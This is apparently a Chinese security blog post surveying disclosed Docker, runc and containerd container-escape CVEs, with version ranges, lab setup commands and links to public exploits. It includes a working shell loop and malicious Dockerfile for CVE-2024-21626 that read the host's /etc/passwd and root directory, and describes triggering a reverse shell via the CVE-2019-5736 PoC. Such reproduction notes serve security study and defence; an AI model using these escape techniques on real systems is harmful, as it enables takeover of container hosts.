0x00 Introduction
本篇章中将说明历史上有关容器逃逸的披露漏洞。个人才疏学浅,有未阐述清楚或遗漏的地方,还请谅解,相关的内容可自行搜索。
Docker 整体包括:Docker Client
、Docker Daemon
、Containerd
、Containerd-shim
、Runc
等几部分。整体大致的通信流程如下:
-
当 Docker Client
发送命令时(如:docker run xxx
),通过REST API
或gRPC
请求将命令发送给Docker Daemon
(守护进程,后续简称dockerd
) -
收到请求后, dockerd
会检查本地是否存在指定镜像,如不存在则从镜像仓库拉取;随后dockerd
通过gRPC
将容器操作请求至containerd
-
containerd
通过fork/exec
启动runc
进程,runc
调用syscall
来配置Namespaces
、CGourps
以及文件系统挂载等 -
runc
启动容器进程后会退出,并将containerd
创建的shim
进程作为容器的父进程,通过Unix Socket
进行通信
0x01 自身漏洞
1. Runc
Runc 负责容器生命周期的管理,由于其是直接和内核进行通信的,所以如果 Runc 本身存在漏洞,那么就很容易进行容器逃逸。
1.1 CVE-2019-5736
漏洞参考:https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
利用脚本:https://github.com/Frichetten/CVE-2019-5736-PoC
漏洞版本:
-
Docker <= 18.09.2
-
RunC <= 1.0-rc6
sudo apt updatesudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-commonsudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"sudo apt updatesudo apt-cache madison docker-cesudo apt install docker-ce=18.06.1~ce~3-0~ubuntu# 启动容器sudo docker run -it ubuntu:18.04 bash
在实战环境中,容器不一定有 go 环境,因此最好的方式就是创建一个和容器相同的环境,随后将 Poc 编译好后上传至容器来进行利用。
修改 Poc 中执行的命令并编译,将结果拷贝至容器中(这里只做复现,不关心如何拿到容器权限)。编译命令:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
在容器中运行 ./main
,随后当宿主机用户执行 docker exec
命令后,就会触发 main
程序从而执行反弹 Shell 命令,实现容器逃逸。
1.2 CVE-2019-16884
跟着文章复现就行,漏洞参考:https://wiki.teamssix.com/CloudNative/Docker/CVE-2019-16884.html
漏洞版本:
-
Docker < 19.03.1
-
runC <= 1.0.0-rc8
1.3 CVE-2024-21626
漏洞参考:https://mp.weixin.qq.com/s/kMmeMusedbd1oeozUrX2gQ
漏洞版本:
-
v1.0.0-rc93 <= Runc <= 1.1.11
首先通过如下脚本来确定宿主机上泄露的文件描述符。
#! /bin/bashfor i in {4..20}; do docker run -it --rm -w /proc/self/fd/$i ubuntu:18.04 bash -c "cat /proc/self/cwd/../../../etc/passwd"done
可以看到 7 之后就泄漏出宿主机文件(也就是 /proc/self/fd/8
)。
创建 Dockerfile 文件,内容如下:
FROM ubuntu:18.04RUN apt update -y && apt install netcat -y# 注意如下的值,对应上述脚本执行的结果WORKDIR /proc/self/fd/8
构建恶意容器,并启动对应的恶意容器。
可以看到,成功访问到宿主机的根目录。
2. CVE-2020-15257
如果启动容器的时候使用 host
模式,那么这个容器将不会获得一个独立的 Network Namespace
,而是和宿主机共用一个 Network Namespace
。
漏洞参考:https://xz.aliyun.com/news/8511
漏洞版本:
-
Containerd < 1.3.9
-
Containerd 1.4.0 ~ 1.4.2
sudo apt updatesudo apt install ca-certificates curl software-properties-commonsudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"sudo apt updatesudo apt-cache madison docker-cesudo apt install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1# 启动容器sudo docker run -it --net=host ubuntu:18.04 bash
使用最新版的 cdk 复现失败。
这里使用老版本的 cdk 成功复现。
3. CVE-2019-14271
漏洞参考:https://tari.moe/2023/CVE-2019-14271.html
漏洞版本:v18.09 <= Docker < v19.03.1
这里通过 metarget
来搭建漏洞环境。下载地址:https://github.com/Metarget/metarget
使用 metarget
会安装符合漏洞版本的组件后,下载 exp 并复制到容器中。下载地址:https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp
4. CVE-2018-15664
漏洞利用条件苛刻,实战环境中难以用到,不做过多阐述。漏洞利用的具体过程可参考:
-
https://cloud.tencent.com/developer/article/2098610 -
https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-15664/readme.md
漏洞版本:
-
17.06.0-ce < docker < 17.12.1-ce:rc2
-
18.01.0-ce < docker < v18.06.1-ce:rc2
0x02 内核漏洞
容器共享宿主机内核,因此可以使用宿主机的内核漏洞进行容器逃逸。这里不做过多的介绍,相关内容可以参考如下文章:
https://wiki.teamssix.com/CloudNative/
https://blog.nsfocus.net/the-route-to-host/
https://github.com/duowen1/Container-escape-exps
https://github.com/Metarget/metarget/blob/master/README-zh.md
0x03 Reference
https://github.com/cdk-team/CDK
https://wiki.teamssix.com/CloudNative/
https://github.com/Metarget/metarget
https://xz.aliyun.com/news/8511
https://blog.nsfocus.net/the-route-to-host/
原文始发于微信公众号(JJ1ng):云安全(九):容器逃逸—披露漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论